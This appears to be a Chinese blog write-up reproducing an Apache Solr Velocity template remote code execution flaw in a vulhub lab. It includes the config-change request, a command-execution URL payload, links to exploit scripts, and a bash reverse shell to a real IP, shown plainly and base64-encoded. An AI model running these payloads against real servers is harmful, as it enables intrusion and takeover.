多事之秋,剛爆出來shiro的RCE,緊接着solr服務器就出了RCE
自從漏洞爆出來已經一段時間,復現漏洞多如牛毛,我這里來水一篇
漏洞簡介
什么是solr服務器?
Solr是一個獨立的企業級搜索應用服務器,它對外提供類似於Web-service的API接口。用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,並得到XML格式的返回結果。
漏洞產生的原因是什么?
1.當攻擊者可以直接訪問Solr控制台時,可以通過發送類似/節點名/config的POST請求對該節點的配置文件做更改。
2.Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定模版,默認設置是false。
當設置params.resource.loader.enabled為true時,將允許用戶通過設置請求中的參數來指定相關資源的加載,這也就意味着攻擊者可以通過構造一個具有威脅的攻擊請求,在服務器上進行命令執行。
--------360CERT
影響范圍
Apache Solr 5.x - 8.2.0,存在config API版本
漏洞復現
環境搭建
本次依然使用P牛的vulhub docker鏡像搭建
git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-0193
docker-compose up -d
創建名為bmjoker的Core:
docker-compose exec solr bash bin/solr create_core -c bmjoker -d example/example-DIH/solr/db
搭建好后默認端口為8983,訪問http://ip:8983 即可
漏洞利用
漏洞利用的前提是需要知道solr服務器中的core的名稱才能執行攻擊
我這里手動創建了一個core節點:bmjoker
當然漏洞產生原因是可以直接訪問Solr控制台,通過發送類似 solr/節點名/config 的POST請求對該節點的配置文件做更改
能進入控制台就能看見core節點的名稱
如果看不見的話,嘗試去訪問 /solr/admin/cores,就能看見創建的全部core節點名稱,像這樣
構造POST請求,向 /solr/bmjoker/config 目錄POST以下數據(來修改Core的配置)
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true"
}
}
接下來使用網上爆出來的exp,嘗試利用
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
只執行一個id未免顯得太寒酸
還是大佬們手快,這一鍵利用腳本已經出來
https://github.com/Eth4nHunt/Apache-Solr-RCE
https://github.com/theLSA/solr-rce
嘗試利用,簡直不要太舒服
開始利用的時候本來想直接通過修改命令來彈shell
bash -i >&/dev/tcp/47.107.136.25/9090 >&1
在其他互聯網環境的服務器上測試的時候,反彈shell很容易被分割中斷,總是500服務器報錯
看了大牛的分析,原來是由於Runtime不能使用管道符等bash方法,所以需要進行編碼
bash -c{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ3LjEwNy4xMzYuMjUvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}
按照p牛的解釋:
https://zsxq.tricking.io/topic/501/
再次測試,發現反彈shell成功
水文一篇